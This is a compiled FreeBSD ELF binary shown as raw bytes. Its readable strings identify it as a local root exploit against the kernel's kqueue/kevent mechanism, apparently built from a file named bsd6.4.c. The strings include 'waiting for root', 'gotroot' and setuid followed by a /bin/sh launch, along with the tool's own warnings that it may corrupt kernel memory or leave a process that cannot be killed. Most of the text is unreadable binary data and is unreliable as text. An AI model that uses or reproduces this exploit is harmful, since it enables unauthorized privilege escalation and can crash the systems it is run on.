ELF Ї4P4 (444ԀԀ@@P/libexec/ld-elf.so.1# "!   ,`={LL L';l , DdBP ̌ +;PNDQ 4e libpthread.so.2pthread_createusleepmmap__deregister_frame_info__isthreaded_Jv_RegisterClasses__register_frame_infocloselibc.so.6printfgeteuid__stdinp_DYNAMIC__srgetgetcmemcpyexeclperrorgetuidkqueue_initpipeenviron__prognamememset_init_tls_finiatexitkevent_GLOBAL_OFFSET_TABLE_setuid_edata__bss_start_endLIBTHREAD_1_0 S`d    $ ( ,048<@DHL! </ 5%%h%h%h% h%h %h(%h0%h8p% h@`%$hHP%(hP@%,hX0%0h` %4hh%8hp%<hx%@h%Dh%Hh%LhUWVS ]׍t ۉ5~$Ett Wk ȟ[2PVEPSnPaщ!ǐU=ht8vҡut h ]whÐUthlh /wtt h wÐUdEE@ @E@ @dÍvUÍvU hy h$jjhEUEf@Ef@!E@E@ E@EUEf@Ef@!E@E@ E@hjhjh5r y h) 5} 5lÉU jdu$ 56 5%ÉU)Kt u h0 j h@=du*`Hxy 5`` 5`jjjhjh@h@ jjjhjhj 8-PhjE=y h4B jjh@jEPjhpjEP h<jEuUE jd؃ j^t h j(jhhdÐUSR vЋuX[Ã $FreeBSD: src/lib/csu/i386-elf/crti.S,v 1.7 2005/05/19 07:31:06 dfr Exp $pipekeventalready root. BEWARE! this exploit isn't 100%% reliable. successful exploitation may cause kernel memory corruption leading to system crash. it is also possible, that exploit will hang and such process will be unkillable. hit enter if you want to continue. kqueuewaiting for root... it should take no more than few seconds. otherwise, run exploit again. failed. on unpatched systems, the exploit will be unkillable from now. try again. sh/bin/sh$FreeBSD: src/lib/csu/i386-elf/crtn.S,v 1.6 2005/05/19 07:31:06 dfr Exp $، l ̌ā a ̅oooVƆֆ&6FVfvƇ$FreeBSD: src/lib/csu/common/crtbrand.c,v 1.4 2003/10/17 15:43:13 peter Exp $$FreeBSD: src/lib/csu/i386-elf/crt1.c,v 1.14 2005/05/19 07:36:07 dfr Exp $GCC: (GNU) 3.4.6 [FreeBSD] 20060305GCC: (GNU) 3.4.6 [FreeBSD] 20060305GCC: (GNU) 3.4.6 [FreeBSD] 20060305GCC: (GNU) 3.4.6 [FreeBSD] 20060305.symtab.strtab.shstrtab.interp.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.data.eh_frame.dynamic.ctors.dtors.jcr.got.bss.commentԀ#) ā01a9oVVFFo U ^ ̅ gllbPmЇš y، h   \`` `-`06 ԀāV̅l  Ї ̌ ،  `)8CN\j }hd l C  )8099 E8 N,Us{`=LLL;l   *5Ї <dIPU\ aks@. }̌ +(PDpB   crt1.c/usr/src/lib/csu/i386-elf/crti.Scrtstuff.c__CTOR_LIST____DTOR_LIST____EH_FRAME_BEGIN____JCR_LIST__p.0completed.1__do_global_dtors_auxobject.2frame_dummy__CTOR_END____DTOR_END____FRAME_END____JCR_END____do_global_ctors_aux/usr/src/lib/csu/i386-elf/crtn.Sbsd6.4.ckernel_codecode_endprintfpthread_create@@LIBTHREAD_1_0geteuid__stdinp_DYNAMIC__srgetclose@@LIBTHREAD_1_0getcmemcpyexeclperrorgetuidkq__dso_handleusleep@@LIBTHREAD_1_0fdkqueuemmap_initpipeenviron__deregister_frame_info__progname_start__isthreaded__bss_startmemsetmain_init_tlstimeoutdo_threadgotroot_finiatexitkeventkevke_edata_GLOBAL_OFFSET_TABLE__endexitdo_thread2_Jv_RegisterClassessetuid__register_frame_info